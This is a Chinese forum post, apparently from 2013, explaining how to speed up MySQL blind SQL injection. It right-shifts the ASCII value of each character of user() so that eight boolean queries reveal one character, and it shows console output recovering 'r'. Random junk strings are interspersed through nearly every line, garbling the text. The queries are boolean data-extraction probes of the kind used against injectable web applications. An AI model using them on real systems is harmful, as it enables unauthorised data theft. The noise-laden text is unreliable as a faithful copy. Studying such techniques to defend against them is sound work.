找回密码
 立即注册
查看: 2579|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
& n# R4 b" Y6 E+ u3 A! N5 }9 K5 B, e. @2 u9 J3 @0 ]

8 s! W& }4 a. K4 w4 |6 H: P; C6 K# I. g9 f$ I0 y+ i- B4 U
下面将以查询mysql数据库当中user()的第一位为例:  s5 ], ]6 x' Q4 g, E) X9 Y) q8 u
2 Y( Z. S  Y- s" C
$ q. Y* i' @1 y6 g7 Q7 K

4 ~' B+ Z( [/ b- Cps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
( N, v: C0 m8 ?) q+ ?9 Q" p- ^0 M  ]

6 _& d0 k8 i; d" h
8 O, n: n& o0 [4 S+ x7 Z+ |  N首先执行如下sql语句:, T/ G, y. S% |1 c+ u
2 o4 S. B( o+ Z
7 Q! Q+ Q+ Q# N' k0 |
2 }* D$ `1 E; {( k! a8 |1 c
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;7 q, V' W  I* P: |

$ \! @( t* V3 u6 N- Y# z& C( M # a: m& H2 p$ T9 m  d

# z* R5 ?5 o& p我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的! R" _: M% H6 d/ r3 S- C/ @
2 p1 g3 r4 s* R& y

' Q; P7 j- U7 @! K# M
9 O( M- `3 c4 Y, W" V第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
! E& u1 |- N7 g# L
% c1 l4 j% ^' `- m. Q4 a
! Y# v$ o1 ?7 |9 H. S8 ~1 ?0 ^" O0 X/ y  J% m
如果运算结果为1,说明第一位为0,不为15 M0 h, H2 m2 H7 {

. ^* `8 B* i" D! Y9 E, h8 W$ q
# H% U7 L1 F! N) s) ~  g+ p# c! G: |6 X+ P
+————————————–+3 L& t3 ?, [) `8 W6 z

. y, t! x0 c/ @- m| (ascii((substr(user(),1,1))) >> 7)=0 |
5 c( r- W6 a& ^7 S8 Y6 @. L2 W0 a8 a
+————————————–+1 j, I, q0 D& H6 ]  r2 X  S

4 S0 I4 c! C0 X" L! E8 r| 1 |
  x& _- f+ g+ x# j4 ]- b
4 r/ b5 P" }: U4 T4 `+————————————–+8 {- ~. m" R* q3 h

0 F( y8 {; N, l7 T$ l& z( i1 row in set (0.00 sec)' N5 L4 T$ E8 s4 V

  R  A; T! `4 H- W* \2 e; B这样我们就确定这个8bit的ascii的第一位为0
: v, e, a$ @; A1 d! {- n' E- G" ]- M/ F# Z8 g9 @; z' k# @* a
( S: u, ?* Y2 O2 X7 j
9 M; M. `7 I( a7 X8 K# k
第二次我们来做6次右偏移来确定前两位
9 [! |: l7 F  ~3 w
5 [8 @2 F1 c7 T 4 \# D; ]8 v+ W+ D# F& N. r. O

# r5 B7 N$ l( Y+ a3 i前两位可能是01或00,即依然可以与0做比较,
9 G+ }6 H4 n( X& s8 z" }0 \0 F) [$ L1 I8 U1 a/ O
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
- \8 [# b( \" }, t/ O2 Y1 z1 A
+————————————–+: d! b. [( R0 A2 v. f
9 b" V' m+ [) Z# d# O
| (ascii((substr(user(),1,1))) >> 6)=0 |# N) a6 _/ z9 U. e4 P1 O& `

9 z" H. a% t! n& N; l+————————————–+; k: q! @7 w4 g% i3 O; V) E: g

! x# v. Q; Q5 Z+ ~3 A" O| 0 |
% ^! n9 V& H' Y) g
% @+ i1 {5 ~4 u1 O+————————————–+4 S$ W: C2 y- Q" o3 P, ^
1 R( G' ~5 X# u6 W* M
1 row in set (0.00 sec)
/ _! ~; K3 v+ C+ ^( X4 r/ W& g. `; ^! }0 C$ R4 e4 \) O# y
1 B; W- M1 H5 D. ~$ E
7 q# V% q3 ]7 b0 b: |) A
结果为0,即第二位为1& U& F4 V  S  z! J
; b) f+ \. Y& B" J7 l$ }

/ T, c, v8 B3 D/ |" `/ A. R2 u1 Z
开始猜测前三位为010或011
( k1 {6 l7 P* F& Z
% U0 D* q/ d# U1 z7 u% L # D) {! h1 k. S; b
  o' F% ?, A% j
让我们看看010和011的ascii码是多少
7 ~5 S* E# \6 f
3 e7 S9 ?& V! k* K 1 G% n9 t/ H" l% h

; _& }" ^7 _( {* H& }分别查询select b’011′ select b’010′
. d( I. h" p' Y
6 U0 h7 I- i- Q& }1 p! l
% n6 |) V3 J, {
* ^4 y* J2 n, j3 b7 |2 q6 Q, u获得结果 010 = 2 011 = 3
, y  j3 Y* e/ H4 ?- ?
- W% }# r9 t+ Q! g% M . W4 K" W( l, h6 N8 R- |

. {: I5 x1 w, Y9 m9 ~5 N4 U执行如下sql:
" h# L4 I  Y, q
) W+ x+ w+ H) Y. |0 |% g  B" [0 K
0 O7 e1 i3 Z- K8 T  `. \+ Y: u) C. r; [7 u+ a# k3 b8 ~
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;& I. x* m& L6 [3 S! S

+ v: {4 k- V* }2 a( S- M5 S+————————————–+* b( `  ?: `. g$ P* \

4 {% V$ v2 _$ S' C2 \3 m| (ascii((substr(user(),1,1))) >> 5)=2 |" M6 a, Q; m) T2 Z

. K7 \* {8 z: n( K7 B! L; U+————————————–+
' |* O( \6 ]# m& Q! }# ]! [; {2 g- \) I0 T
| 0 |( G" b) L! L. c
' q1 D, {+ B- T& M9 x3 `* S- y. s
+————————————–+
: \9 z$ J- P6 \5 l; D6 g) H& ]7 ]6 A3 f7 ?% B0 S5 Z
即前三位不为010,而是0118 ~, i2 V8 t/ c! g" n; p9 k
# F; y5 z5 s: Z" o

7 |! c$ N4 u/ \5 p  S. ^& y- i8 Y# a) C- ~: W! N# D# W
直到获得最后一位- I$ p( |6 w6 d7 V. w1 ~/ w8 Q

/ C+ g; a* L. ?8 }0 S2 `& |) \ 9 j  n* U+ g, o( V
/ C' L& M/ n3 u' }, x1 Z+ P
最终结果为:01110010  s  N$ P4 z% I6 S6 E9 A& T, v
, y! q0 F7 b2 W! m# o/ q, T

. P" @, |" X2 f' V* Y9 N6 \2 s# k! A+ z; f% A
转换一下:
' o4 N$ t& t) \' k+ t/ P4 a
& W' g* X7 S5 P) n2 p
* h+ \! P: p" q3 }. q+ S7 r" y
/ i, @1 R6 X4 @% }# p' Y4 Fselect b’01110010′
, V4 Y3 c& u$ y, k2 ~( I: v
' F0 z" ]# l( H7 Z5 ~. R5 j
: S5 P  X: ]: e+ S0 O. s! T+ K
# [9 O# r% o1 ?. |& q( n查询结果( z% V; m" m3 ~3 [
" q& x  o5 @& u% {: ~
" M: W3 `- b$ L  n9 d* z. h
' n1 c5 j5 S3 ~, T- X! Y. N8 A
+————-+5 _, @: W0 e: ~

; u: \- R: A; m4 s+ F" l) e5 W| b’01110010′ |8 j" R3 [% k. a3 f; t; c( @& p
8 e- S, k4 c6 W& C' T! m! h" J3 f; g
+————-+1 ?. `1 g8 ?) y4 L  H. n& G- o, n
3 R8 B# k! l. {9 [7 |% ^
| r |3 z' u. i8 W& `* ^' m

# w  m1 t$ M* L; S+————-+% W/ x! K+ W' d5 T

" Y" q1 V1 G$ |1 ~! l1 row in set (0.00 sec); @& j' {$ O( h0 s9 _7 X# m
. B! J1 y. s# \1 }' X7 m+ |* {
4 B  K7 y% P7 R8 |

; r% x4 c+ H/ l( s7 G' m这样我们就获得了user()的第一位.其它位依此类推
# f( R2 J) g( c! d9 N9 A
; h7 M3 T8 [) v* G, q: [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表